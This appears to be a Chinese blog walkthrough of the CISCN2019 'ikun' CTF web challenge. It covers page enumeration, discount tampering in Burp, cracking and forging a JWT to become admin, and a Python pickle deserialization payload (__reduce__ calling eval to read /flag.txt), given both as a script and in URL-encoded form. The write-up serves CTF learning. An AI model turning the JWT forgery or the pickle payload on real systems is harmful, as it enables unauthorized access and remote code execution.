[CISCN2019 华北赛区 Day1 Web2]ikun

 

 

题目提示要买lv6,于是在下面寻找lv6,但是点击了多次下一页仍没有发现lv6

 

 

 于是果断编写python脚本来查找

 首先确认一下lv6在源代码中的名称

 

 

 然后遍历每一页查找lv6字符串即可

import requests

url = "http://abc35a7b-7533-4306-b69c-7683eec65a0d.node3.buuoj.cn/shop?page="

for i in range(1, 1000):
    re = requests.get(url + str(i))
    print(url + str(i))
    if "lv6.png" in re.text:
        print(url + str(i))
        break

输出结果如下

 

 

 在181页,藏得真的深

 

 

 使用burpsuite进行抓包,修改折扣

 

 

 结果提示只允许admin访问

 

 

 继续查看购买时的请求包,发现有JWT

 

 

 什么是JWT?JWT认识 --> https://www.cnblogs.com/cjsblog/p/9277677.html

 使用c-jwt-cracker破解JWT密钥 --> https://github.com/brendan-rius/c-jwt-cracker

 

 

 

 破解出密钥为1Kun

 然后去网站进行编码 --> https://jwt.io/

 将username改为admin,密钥改为1Kun

 

 

 

 然后将编码好的cookie重新放回去

 

 

 接着还需要修改一次cookie

 

 

 

 最后就会出现如下界面,点击一键成为大会员没有反应

 

 

 查看源代码,发现www.zip文件

 

 

 下载下来后发现一堆python文件,看来是代码审计,本人太菜不会python代码审计

 

 

 

 后面的借鉴其他大佬的博客

 Admin.py中有提示,This is Black Technology

 1 import tornado.web
 2 from sshop.base import BaseHandler
 3 import pickle
 4 import urllib
 5 
 6 
 7 class AdminHandler(BaseHandler):
 8     @tornado.web.authenticated
 9     def get(self, *args, **kwargs):
10         if self.current_user == "admin":
11             return self.render('form.html', res='This is Black Technology!', member=0)
12         else:
13             return self.render('no_ass.html')
14 
15     @tornado.web.authenticated
16     def post(self, *args, **kwargs):
17         try:
18             become = self.get_argument('become')
19             p = pickle.loads(urllib.unquote(become))
20             return self.render('form.html', res=p, member=1)
21         except:
22             return self.render('form.html', res='This is Black Technology!', member=0)

漏洞点为pickle反序列化,漏洞产生的原因在于其可以将自定义的类进行序列化和反序列化。反序列化后产生的对象会在结束时触发__reduce__()函数从而触发恶意代码,那我们就重写__reduce__()魔法方法

python脚本如下:

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))    #读取flag.txt的内容,一般来说flag.txt在系统根目录下

a = pickle.dumps(payload())  #序列化payload
a = urllib.quote(a)  #进行url编码
print(a)

运行的时候将中文注释去掉

 

 点击一键成为大会员,然后修改become参数

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

 

 获取到flag

 

posted @ 2020-07-17 15:21  GTX690M  阅读(347)  评论(0编辑  收藏  举报